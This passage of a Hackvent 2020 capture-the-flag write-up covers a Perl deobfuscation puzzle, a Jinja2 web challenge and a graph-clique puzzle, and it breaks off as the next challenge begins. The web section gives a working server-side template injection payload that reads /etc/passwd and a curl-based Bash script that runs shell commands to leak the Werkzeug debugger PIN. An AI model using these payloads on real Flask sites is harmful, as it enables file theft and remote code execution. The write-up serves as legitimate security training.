In Perl, =~ is the Binding Operator, which does a pattern match. y is a special first character, as it specifies transliteration. It takes a pattern y[delim][x][delim][y][delim]. Typically the [delim] is /, but it can be any character (in this case #). So for this string, it will take the character in $_b, check if it is in $Q, and if so, replace it with the equivalent character from $_Q. The code is taking the youtube link and changing out the characters at the end. #### Solve Quickly The first way I solved was to modify the script to print these characters to a file. I’ll open a filehandle at the top of the loop: @f = (' ' x$w) x $h; open(logfile, ">", 'log.txt'); p ; n ; while (1) {  Now on each call to n(), it’ll write that character to the file, but only if it’s not a #, and to close that file on the last character: $sc++;     # pointer to next character
$_b =~ /#/ or print logfile$_b;
$sc == 98 and close(logfile); }  I don’t want to have to win, so I’ll change the exit conditions. I could just comment it out, but then it breaks the terminal, so I’ll tell it to exit when the counter reaches the end:  #last if$by < 2;               # if it's in the top 2, exit
last if $sc > 100;  Finally, I’ll comment out the sleep (select undef, ...). Now I run that, and a junked up board hangs on screen for a second, and then it returns: The flag is in log.txt: $ cat log.txt


Flag: HV20{https://www.youtube.com/watch?v=Alw5hs0chj}

#### Solve Cleanly

To make it nicer, I commented out all the print statements in the original file, as well as the both sleeps. Then I just added one line in n() to print the character:

    $sc == 98 and$_b =~ s/./0/ unless $sc > 77 and$sc < 98 and $sc != 82 and eval '$_b' . "=~y#$Q#$_Q#";
print $_b unless$_b =~ /#/;   # print flag
$sc++; # pointer to next character }  And adjusted the exit condition as above:  #last if$by < 2;               # if it's in the top 2, exit
last if $sc > 100;  Now running it just prints the flag to the terminal: $ perl deparse-mod-print.pl


I can alternatively just delete 90% of the script and leave this loop over n():

@FF = split(//, '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####', 0); # characters for blocks

sub n {
$_b =$FF[$sc]; # get next character from list$sc == 98 and $_b =~ s/./0/ unless$sc > 77 and $sc < 98 and$sc != 82 and eval '$_b' . "=~y#$Q#$_Q#"; print$_b unless $_b =~ /#/;$sc++;     # pointer to next character
}
while ($sc < 101) { n ; # generate next block } print "\n";  #### Solve Manually As I know how the substitution is done, I could also just use that information with a Python terminal to print the flag: >>> ff = '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####' >>> q = 'QcXgWw9d4' >>> _q = 'ljhc0hsA5' >>> ''.join([_q[q.index(c)] if (77 < i < 98 and i != 82 and c in q) else '0' if i == 98 else c for i,c in enumerate(ff)]).replace('#', '') 'HV20{https://www.youtube.com/watch?v=Alw5hs0chj0}'  ### Easter Eggs One fun Easter Egg in this challenge - If I start with the original code and zoom way out (set the font size really small), it makes a neat pattern: The other is the video in the correct flag. For anyone who played Tetris many years ago, this was pretty funny. ## HV20.09 ### Challenge HV20.09 Santa's Gingerbread Factory Categories: PENETRATION TESTING WEB SECURITY Level: medium Author: inik. Besides the gingerbread men, there are other goodies there. Let’s see if you can get the goodie, which is stored in /flag.txt. ### Solution On spinning up an instance, visiting the URL in Firefox gives the following page: The user can change the eyes using the radio buttons, and the name “hacker” using the text field. The HTTP request on changing either looks like: POST / HTTP/1.1 Host: d7192e27-a270-4fe6-a06a-a5b96d453580.idocker.vuln.land User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://d7192e27-a270-4fe6-a06a-a5b96d453580.idocker.vuln.land/ Content-Type: application/x-www-form-urlencoded Content-Length: 44 Connection: close Upgrade-Insecure-Requests: 1 eyes=*&name=Hacker&btnSubmit=Get+Gingerbread  The response looks like: HTTP/1.1 200 OK Content-Length: 2419 Content-Type: text/html; charset=utf-8 Date: Wed, 09 Dec 2020 14:29:59 GMT Server: Werkzeug/1.0.1 Python/2.7.16 Connection: close <html> ...[snip]...  The server is running Python, taking the input and building an ASCII gingerbread man. Testing for a handful of command injections, submitting things like $(id) and ; cat /flag.txt, shows that the input seems to be properly escaped.

A common injection technique that Python webservers are commonly vulnerable to is server-side template injection (SSTI). SSTI occurs when the attacker can control a string that is later handled as a template, allowing them to put in stuff that will be handled as Python providing execution. This article is a good overview, but PayloadsAllTheThings is my go-to for testing for and attacking SSTI.

This chart shows how to check if SSTI is a vector here:

But the next one did:

I’ll try submitting {{7 * df}}, and it crashes, and leaks information about the server:

Not only does this show that this is running Jinja2, but the error that shows exactly where the injection takes place:

text = Environment(loader=BaseLoader()).from_string("Hello, mighty " + name).render()


The server is taking input, creating a string “Hello, mighty [input]” and then calling render() on that, which then processes that as a template, meaning that stuff inside {{}} will be run.

PayloadsAllTheThings has a couple payloads to read files from the server, and the top one of those successfully grabs /etc/passwd:

Modifying this payload will leak /flag.txt as well:

Flag: HV20{SST1_N0t_ONLY_H1Ts_UB3R!!!}

### Leak Debug Pin

In the error page, moving the mouse over the various blocks shows a little console icon that can be clicked to get the debugger:

On doing so, it pops a prompt for a PIN:

I tried to use this technique to generate the pin, but wasn’t able to make it match.

Engy shared their technique with me, and it’s pretty neat. To show how it works, first a demo on a local vm. First, create a dummy Flask app that just prints the debug pin and cookie:

$echo from flask import Flask\;import werkzeug.debug\;app = Flask$$__name__$$\;print$$werkzeug.debug.get_pin_and_cookie_name\(app$$\) >/tmp/test$ cat /tmp/test


Running that now prints the pin:

$python /tmp/test ('285-643-759', '__wzda5c99d5a48f1bb8aab83')  Now to do that on the server, I’ll need some way to get execution. Earlier when I used {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} to read files, it was getting a list of all the loaded classes in the application, and open was the 40th object in that array. Sending just {{ ''.__class__.__mro__[2].__subclasses__() }} will return the full list of classes available, and there’s another interesting one: It’s at index 258, and will provide execution. I’ll use one command to write the dummy flask app, another run it, pipping the output to a file, and a file read to get the results. This short Bash script has four curl commands to write, execute, read, and delete: #!/bin/bash URL=https://$1
curl -s -X POST $URL -d "name={{[].__class__.__base__.__subclasses__()[258]([\"echo from flask import Flask\;import werkzeug.debug\;app = Flask$$__name__$$\;print$$werkzeug.debug.get_pin_and_cookie_name\(app$$\) >/tmp/test\"], shell=True)}}" 2>&1 >/dev/null curl -s -X POST$URL -d "name={{[].__class__.__base__.__subclasses__()[258]([\"python /tmp/test > /tmp/test1 2>/tmp/       test2\"], shell=True)}}" 2>&1 >/dev/null
sleep 0.2
curl -s -X POST $URL -d "name={{[].__class__.__base__.__subclasses__()[40](\"/tmp/test1\").read()}}" | grep Hello | sed -e 's/( Hello, mighty (&#39;$$.*$$&#39;, )/\1/' curl -s -X POST$URL -d "name={{[].__class__.__base__.__subclasses__()[258]([\"rm /tmp/test*\"], shell=True)}}" 2>&1 >/dev/null


It runs and returns the PIN:

$./engy.sh fb95b7a9-3e53-47d8-99e6-3b1e290101b6.idocker.vuln.land 656-420-258  Now on visiting https://fb95b7a9-3e53-47d8-99e6-3b1e290101b6.idocker.vuln.land/console, I can unlock it and access the Python debugger: ## HV20.10 ### Challenge HV20.10 Be patient with the adjacent Categories: PROGRAMMING Level: medium Author: bread Ever wondered how Santa delivers presents, and knows which groups of friends should be provided with the best gifts? It should be as great or as large as possible! Well, here is one way. Hmm, I cannot seem to read the file either, maybe the internet knows? Download Over time, four hints were added: • Hope this cliques for you • Segfaults can be fixed - maybe read the source • There is more than one thing you can do with this type of file! Try other options… • Groups, not group ### Solution #### Orient Having never heard of this file type, I took to Google. .col.b is the binary format of DIMACS standard format, a format for sharing undirected graphs. A graph is just a series of nodes and edges that connect them.There’s an ASCII version of this format, stored in .col files. Looking at the top of the file, there’s some metadata and a comment: 284 c -------------------------------- c Reminder for Santa: c 104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100 are the nicest kids. c - bread. c -------------------------------- p edges 18876 439050 ...[snip binary stuff]...  The list of numbers look like ASCII, but they just create a troll flag: >>> ''.join(map(chr,map(int, "104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100".split(' ')))) 'hv73{not_THE~FLAG!=(|s0<>SO*Ry}-bread'  #### Convert to ASCII To make the file more readable, I’ll convert to the ASCII format. This page has a translator application. It’s in .shar format, and getting it to work is a bit of a sub-challenge on its own. shar files are shell archives, and are actually executable. Running it dumps its contents: $ ls
binformat.shar
$./binformat.shar$ ls
asc2bin.c  asc2bin.c.BAK  bin2asc.c  binformat.shar  genbin.h  generator.c  Makefile  README.binformat  showpreamble.c


Now I can use make to build the binaries I need, but it will fail. In genbin.h, it defines these maxes:

#ifndef GENBIN
#define GENBIN

#include <stdio.h>

/* If you change MAX_NR_VERTICES, change MAX_NR_VERTICESdiv8 to be
the 1/8th of it */

#define MAX_NR_VERTICES         5000
#define MAX_NR_VERTICESdiv8     625
...[snip]...


In the header of the file shown above, it shows there are 18876 vertices (nodes), way more than 5000. So building as is will cause attempts to convert the hackvent file to fail. I’ll change that to 20000, and then change MAX_NR_VERTICEdiv8 to 2500 per the comment.

Running make causes all kinds of warnings, but it also creates three binaries, asc2bin, bin2asc, and showpreamble.

Running ./bin2asc 7b24b79f-d898-4480-bc1b-e09742f704f7.col.b will generate 7b24b79f-d898-4480-bc1b-e09742f704f7.col. This file has just lines showing edges, where e 30 18 is an edge from node 30 to node 18:

$head -15 7b24b79f-d898-4480-bc1b-e09742f704f7.col c -------------------------------- c Reminder for Santa: c 104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100 are the nicest kids. c - bread. c -------------------------------- p edges 18876 439050 e 30 18 e 42 24 e 42 29 e 48 7 e 48 25 e 50 33 e 51 44 e 52 23 e 55 17  #### networkx I need a way to play with the data, and the networkx package allows me to do it in Python. Looking through the tutorials, I’m able to get all the data read into a Graph object: #!/usr/bin/env python3 import networkx as nx import sys with open(sys.argv[1], 'r') as f: lines = f.readlines() nicekids = list(map(int, lines[2].split(' ')[3:-4])) G = nx.Graph() for line in lines: if not line.startswith('e '): continue x, y = list(map(int, line.split(' ')[1:3])) G.add_edge(x,y)  This takes a minute, but running python3 -i solve.py will drop me into a Python shell where I can start to look at the data more closely. #### Analysis The find_cliques function will get all the cliques, as the hints suggest. A clique in graph theory is a set of nodes where each node in the clique connects to all the other nodes in the clique. Two nodes with a single edge form a clique, but that is the boring base case. This graph has 8524 cliques: >>> cliques = list(nx.find_cliques(G)) >>> len(cliques) 8524  That’s too many to be useful. But there is also this list of “the nicest kids”. What about cliques that include a nice kid? This list comprehension will show how many that is: >>> len([c for c in cliques if any([k in c for k in nicekids])]) 8397  That’s 8397 cliques that contain at least one kid. Still way to many. What about cliques that contain all kids? None: >>> len([c for c in cliques if all([k in c for k in nicekids])]) 0  How many nicest kids are in each clique? This list comprehension will return a list of the number of nice kids in each clique: >>> [sum([k in c for k in nicekids]) for c in cliques] [1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]  What immediately jumps out is that everything is either 0 or 1. No clique has more than one nicest kid. Starting with the first nice kid, 104, I took a look at the cliques containing it: >>> [c for c in cliques if 104 in c] [[32, 104], [104, 6144], [104, 16384], [104, 15364], [104, 10248, 636, 17793, 9475, 6662, 9479, 6407, 6030, 13180, 16526, 1424, 3989, 17046, 18711, 12952, 1305, 9628, 13724, 12445, 13213, 800, 4129, 10273, 8866, 17442, 11429, 6437, 18086, 12583, 5289, 3498, 11563, 11691, 13740, 11566, 3889, 10163, 18099, 2997, 2233, 8377, 16059, 12348, 9149, 18495, 2625, 11585, 14785, 1860, 6855, 714, 16975, 16465, 13024, 12636, 2527, 11355, 12011, 7762, 8275, 9079, 7763, 10997, 6358, 18006, 214, 7545, 378, 8058, 8316, 1375], [104, 12297], [104, 6157], [104, 8206], [104, 16398], [104, 18452], [104, 11284], [104, 1049], [104, 13342], [104, 15394], [104, 10284], [104, 5166], [104, 14388], [104, 5183], [104, 13375], [104, 1091], [104, 16452], [104, 16454], [104, 18505], [104, 12363], [104, 10317], [104, 15437], [104, 17491], [104, 13401], [104, 13406], [104, 4191], [104, 15454], [104, 12386], [104, 1123], [104, 14438], [104, 18536], [104, 16498], [104, 17525], [104, 122], [104, 10365], [104, 15487], [104, 11396], [104, 10373], [104, 2188], [104, 13453], [104, 8335], [104, 18574], [104, 13455], [104, 4256], [104, 6304], [104, 14496], [104, 16545], [104, 3242], [104, 12463], [104, 181], [104, 17589], [104, 5302], [104, 1208], [104, 5304], [104, 16572], [104, 1210], [104, 13499], [104, 15561], [104, 17610], [104, 6361], [104, 14559], [104, 13535], [104, 5348], [104, 7397], [104, 18662], [104, 15595], [104, 4332], [104, 12525], [104, 3320], [104, 8443], [104, 9467], [104, 16638], [104, 2308], [104, 10507], [104, 11533], [104, 3343], [104, 6419], [104, 6427], [104, 18722], [104, 14633], [104, 11573], [104, 4407], [104, 314], [104, 2367], [104, 7495], [104, 6475], [104, 5452], [104, 16722], [104, 12632], [104, 349], [104, 14685], [104, 15711], [104, 5475], [104, 4456], [104, 5485], [104, 12655], [104, 368], [104, 11643], [104, 11646], [104, 5510], [104, 6548], [104, 4501], [104, 12705], [104, 5537], [104, 8613], [104, 1466], [104, 17855], [104, 17859], [104, 3525], [104, 3529], [104, 8650], [104, 6609], [104, 10705], [104, 12753], [104, 16851], [104, 9690], [104, 10736], [104, 12792], [104, 3583], [104, 17919], [104, 10754], [104, 3589], [104, 518], [104, 9736], [104, 8720], [104, 2577], [104, 15888], [104, 3607], [104, 2584], [104, 13848], [104, 11802], [104, 5661], [104, 552], [104, 2601], [104, 11816], [104, 11818], [104, 2607], [104, 5681], [104, 15923], [104, 1593], [104, 17988], [104, 13895], [104, 16969], [104, 1616], [104, 2655], [104, 12897], [104, 5744], [104, 18037], [104, 5751], [104, 1659], [104, 7803], [104, 16002], [104, 8835], [104, 8836], [104, 13956], [104, 10890], [104, 16015], [104, 4754], [104, 1684], [104, 12955], [104, 13985], [104, 676], [104, 15016], [104, 8876], [104, 8882], [104, 1714], [104, 18106], [104, 5821], [104, 18109], [104, 6851], [104, 17104], [104, 13014], [104, 18136], [104, 10975], [104, 2797], [104, 4845], [104, 7922], [104, 3836], [104, 12030], [104, 15104], [104, 6924], [104, 18201], [104, 11038], [104, 5920], [104, 18209], [104, 11043], [104, 1830], [104, 12080], [104, 4914], [104, 18227], [104, 4916], [104, 11062], [104, 6973], [104, 10046], [104, 4930], [104, 18242], [104, 8015], [104, 15184], [104, 6997], [104, 2905], [104, 3946], [104, 2932], [104, 13178], [104, 18302], [104, 897], [104, 7042], [104, 13195], [104, 9101], [104, 16283], [104, 15264], [104, 10144], [104, 16297], [104, 11184], [104, 16306], [104, 950], [104, 18357], [104, 5049], [104, 5050], [104, 8124], [104, 14269], [104, 15296], [104, 3010], [104, 13254], [104, 11207], [104, 13262], [104, 6100], [104, 15321], [104, 16349], [104, 1002], [104, 11247], [104, 1014], [104, 1018], [104, 3069]]  This time what jumped out is that most of the cliques are of length two, or just two points that are connected. I’ll update the list comprehension to print the length of the clique instead of the clique itself: >>> [len(c) for c in cliques if 104 in c] [2, 2, 2, 2, 72, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2]  They are all two, except for one, 72. The next nice kid (118) shows the same behavior: >>> [len(c) for c in cliques if 118 in c] [2, 86, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2]  The lengths of the one longer clique in the first two are 72 (ASCII H) and 86 (ASCII V). I’ll add the len(c) > 2 criteria to the list comprehension: >>> [len(c) for c in cliques if 118 in c and len(c) > 2] [86]  Now loop over all nice kids: >>> [[len(c) for c in cliques if kid in c and len(c) > 2] for kid in nicekids] [[72], [86], [50], [48], [123], [77], [97], [120], [49], [109], [97], [108], [95], [67], [108], [49], [113], [117], [51], [95], [69], [110], [117], [109], [51], [114], [64], [116], [49], [48], [110], [95], [70], [117], [110], [33], [125]]  Converting those into characters makes the flag: >>> ''.join([chr([len(c) for c in cliques if kid in c and len(c) > 2][0]) for kid in nicekids]) 'HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}'  Flag: HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!} ## HV20.11 ### Challenge HV20.11 Chris'mas carol Categories: FUN Level: medium Author: Chris Since yesterday’s challenge seems to have been a bit on the hard side, we’re adding a small musical innuendo to relax. My friend Chris from Florida sent me this score. Enjoy! Is this what you call postmodern? There’s a hint as well: He also sent this image, but that doesn’t look like Miami’s skyline to me. ### Solution #### Music There’s a way of labeling specific keys on the piano / in music called Scientific Pitch Notation. Each note has it’s letter (C) as well as a number that defines it’s octave (how high or 